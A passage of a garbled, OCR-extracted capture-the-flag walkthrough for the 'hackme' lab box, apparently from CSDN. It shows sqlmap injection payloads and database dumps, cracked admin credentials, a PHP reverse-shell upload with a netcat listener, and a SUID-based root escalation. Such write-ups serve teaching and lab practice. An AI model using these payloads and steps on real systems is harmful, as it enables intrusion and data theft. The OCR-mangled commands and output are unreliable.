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Description Back to the Top

'hackme' is a beginner difficulty level box. The goal is to gain limited privilege access via web vulnerabilities and subsequently privilege escalate as
root. The lab was created to mimic real life environment.

'hackme' uses DHCP and in the possible event that the mysqld shuts down on its own (very rare cases), attempt to force restart the machine and it
should be working fine subsequently.

This works better with VirtualBox rather than ViMware
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Nmap scan r

Host is up

Not shown:
T

p open http
| _http-se r-header:
_http-title:
MAC Address:

Distanc
Info: 0S:
TRACEROUTE
HOP RTT ADDR
1 0.49 ms

rice detection performed. Ple
Nmap done: 1 IP address (1 host up) scanned in 9
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< £ 192.168.1.150

Login
Please fill in your credentials to login.

Username

Password

Don't have an account? Sign up now.

RINEEMRE, FEM—A%Sadmin: password, 3FH & FEI)

Sign Up X +
)

f 192.168.1.150
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Sign Up
Please fill this form to create an account.

Username



Password
Confirm Password
Your Name

Your Address

Already have an account? Login here.
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Hi, admin. Welcome to our online Book Catalog.

Sign Out of Your Account

Search for your favourite book title search
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sqlmap -r sqlmap.txt --batch



/home/kali
sglmap.txt

f sqlmap for cking tar consent is al, state and federal 1
are not responsible for i
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testing connect
p resumed the following inj

h (POST)
sed blind
©.12 AND time-based blind (query SLEEP)
AND (SELECT 7 OM (SELECT(SLEEP(5)))jjxP) AND 'pjuj'="pjuj

v
UNION gquery (NULL) - 3 columns
1' UNION ALL SELECT NULL,NULL,CONCAT(0x717a786b71,0x6b5056637a59765471576d726 71574d7a495! he 0x7170787171)— -
ck-end DBMS is MysQL
Li| 18.108 (cosmic)

gged to text files under '/root

retty Hex n =

1 POST fwelcome.php HTTR/1.1

Z Host: 192.168.1.150

User-Agent: Mozilla/5.0 (X11; Linux xB6_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,applications/xhtml+xml,application/xml ;g=0.9,inage/webp, ¥/*;q=0.8
Accept-Language: zh-CN,zh;g=0.8,zh-TW; g=0.7,zh-HK; q=0.5,en-US; q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

& Content-Length: 8

9 0Origin: http://152.168.1.150

10 Connection: close

11 Referer: http://192.168.1.150/welcome. php

12 Cookie: PHPSESSID=rOchapo33gqtulkt 7gtvIrolpkg

13 Upgrade-Insecure-Requests: 1

14 DNT: 1

15 Sec-GPCi 1

1&

17 search=1| Csh
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sqlmap.txt

POST /welcome.php HTTP/1.1

Host: 192.168.1.150

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;gq=0.7,zh-HK;g=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 8

Origin: http://192.168.1.150

Connection: close

Referer: http://192.168.1.150/welcome.php
Cookie: PHPSESSID=r@chapo33qtulkt7qtv9rolpkg
Upgrade-Insecure-Requests: 1
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sqlmap -r sqlmap.txt

/home/kali
sqlmap. txt

http://sqlmap.or:

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Devel
opers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:37:19 /2022-01-09/

[INFO] parsing HTTP request from 'sglmap.txt’
[INFO] resuming back-end DBMS ‘mysgl’
] [InFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: search (POST)
Type: time-based blind
Title: MySQL 2> 5.0.12 AND time-based blind (gquery SLEEP)
Payload: search=1' AND (SELECT 7483 FROM (SELECT(SLEEP(5)))jjxP) AND 'pjuj’'='pjuj

Type: UNION query
Title: Generic UNION gquery (NULL) - 3 columns
Payload: search=1' UNION ALL SELECT NULL,NULL,CONCAT(@x717a786b71,0=x6b5056697a59765471576d726658435a434471574d7a4959436F574c567467587242525071504d52,0=7170787171)— -

] [InFO] the back-end DBMS is MySQL
server operating system: Linux Ubuntu 18.1@ (cosmic)
application techneology: Apache 2.4.34
—end DBMS: MySQL 2 5.0.12

1 [INFO] fetching database names
ilable databases [5]:
information_schema
mysqgl
performance_schema
Sys
webapphacking

[INFO] fetched data logged to text files under '/root/.local/share/sglmap/output/192.168.1.150"

ending @ 15:37:19 /2022-01-09/ CSDN @#32123
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sqlmap -r sqlmap.txt batch -D webapphacking

/home/kali
sglmap.txt webapphacking

http://sglmap.or

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Devel
opers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:42:30 /2022-01-09/

1 [INFO] parsing HTTP request from 'sglmap.txt'
[INFO] resuming back-end DBMS 'mysgl’
] [INFO] testing connection to the target URL

sqlmap resumed the following injection point(s) from stored session:
Parameter: search (POST)

Type: time-based blind

Title: MySQL = 5.0.12 AND time-based blind (query SLEEP)

Payload: search-1' AND (SELECT 7483 FROM (SELECT(SLEEP(5)))jjxP) AND 'pjuj’'='pjuj

Type: UNION query
Title: Generic UNION guery (NULL) - 3 columns
Payload: search=1" UNION ALL SELECT NULL,NULL,CONCAT(@x717a786b71,0x6b5056697a59765471576d726658435a434471574d7a4959436F574C56746758724e525071504d52,0%7170787171)— -

1 [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 18.10 (cosmic)
web application technology: Apache 2.4.34
back-end DBMS: MySQL 2 5.0.12
[ 1 [INFO] fetching tables for database: 'webapphacking’
Database: webapphacking
[2 tables]
+ +
| books |
| users |
—

[ 1 [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.1.150"

[*] ending @ 15:42:30 /2022-01-09/ CSDN @4%1]:

sqlmap -r sqlmap.txt batch -D webapphacking -T users




12] [INFO] using default dictionary
want to use common password suffixes? (slow!) [y/N] N
12] [INFO] ing dictic -based cracking (md5_generic_passwd)

testl
admin

[*] ending @ 15:

EXERMNEICERENHFLEWE, §—MEREERAHF superadmin
superadminf 7 1) %55 7R BEEE L Wk — T
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Uncrackable

 #ishell

EHRM P 4: superadmin®h%: Uncrackable& 53— HERE

% 192.168.1.150 - y n o e

Hi, welcome back superadmin. There are no anomalies detected.

Sign Out of Your Account

Select Image to Upload:
MR AREER.

Upload Image

Sorry, file already exists.Sorry, your file was not uploaded.

ZW bAE—A php3ft, KA EAE

© /& 192.168.1.150 ae ) In @O @

Hi, welcome back superadmin. There are no anomalies detected.

Sign Qut of Your Account



Select Image to Upload:
M. | AR,
Upload Image

The file test.php has been uploaded to the uploads folder.

EAE—A R shellIPHP M, FA&ERTH

© /& 192.168.1.150 By 7 n @0 @

Hi, welcome back superadmin. There are no anomalies detected.

Sign Out of Your Account

Select Image to Upload:
.. ESieaai

Upload Image

The file php-reverse-shell.php has been uploaded to the uploads folder.

CSDN @1

Index of /uploads

Name Last modified Size Description

¥ Parent Directory -
[#] php-reverse-shell.php 2022-01-09 08:23 5.4K

[?) test.php 2022-01-0908:22 0
test.png 2019-03-26 03:37 3.1K

Apache/2.4.34 (Ubuntu) Server at 192.168.1.150 Port 80
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kaliFF /5 MWy

2 /home/kali

{ 1234
listening on [any] 1234 ...

1
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%5 8% 15 17 php-reverse-shell.php

= 192.168.1.150/uploads
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WARNING: Failed to daemonise. This is quite common and not fatal. Connection refused (111)
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WUz, B Elshell

/home/kali

] from (UNKNOWN) [192.168.1.150]
reneric #17-Ubuntu SMP =1]
load
FROM L NG
id ]

GMU/Linux

B
{8 F python3T Fbashf¥shell

python3 -c 'import pty;pty.spawn("/bin/bash")’

$ python
Python
$ python
rcl
'impor awn("/bin/bash" )"

s i find iy 4 25 4% B A SUID AR 9 — 32 1l SO

find / -perm -u=s -type f 2>/dev/null

in/bash”)
$ find / -perm -u=s -type dev/null
dev/null

usr/bin/chsh
fusr/bin/gpasswd

/snap/cor
/snap/core2e

usr/bin/newgrp
fusr/bin/passwd

fusr/bin/sudo

@/usr/bin/umount
fusr/1lib/dbus-1.08/dbus-daemon-launch-helper
fusr/lib/openssh/ssh-key

/snap/c
/snap/core

[ I e e e N e e ]

7£i% B & Bl /home/legacy/touchmenot & 4 SUID KA R
PAT %A R E L IKEL T rooti fR

www-dataghackme: /home/hackme$ cd
cd
wwi-dataghackme: /home$ 1s

:/home$ cd legacy

:/home/legacy$ 1s

root) gid= ol —d

root@hackme: /home/Llegacy
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